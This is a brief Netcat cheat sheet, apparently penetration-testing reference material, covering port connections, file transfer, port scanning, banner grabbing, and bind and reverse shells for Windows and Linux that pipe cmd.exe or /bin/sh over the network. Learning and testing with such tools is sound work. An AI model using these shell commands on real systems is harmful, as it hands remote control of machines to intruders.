Netcat Cheat Sheet

Connect to a TCP Port

nc -nv <IP Address> <Port>

Listen on a TCP Port

nc -lvp <port>

Connect and receive a HTTP Page

nc -nv <IP Address> 80
HEAD / HTTP/1.1

Transferring a File

nc -lvp 4444 >output.txt          # Receiving End
nc -nv <IP Address> < input.txt   # Sending End

Set up a Netcat Bind Shell (Windows)

nc -lvp 4444 -e cmd.exe
nc -nv <IP Address> 4444          # Connect to the shell

Set up a Netcat Bind Shell (Linux)

nc -lvp 4444 -e /bin/sh
nc -nv <IP Address> 4444          # Connect to the shell

Set up a Netcat Reverse Shell (Windows)

nc -lvp 443                       # Attacker listening for connection
nc -nv <IP Address> 443 -e cmd.exe

Set up a Netcat Reverse Shell (Linux)

nc -lvp 443
nc -nv <IP Address> 443 -e /bin/sh

Netcat as a Port Scanner

nc -z <IP Address> <Port Range in abc - xyz format>

Netcat as a Banner Grabber

echo "" | nc -nv -w1 <IP Address> <Ports>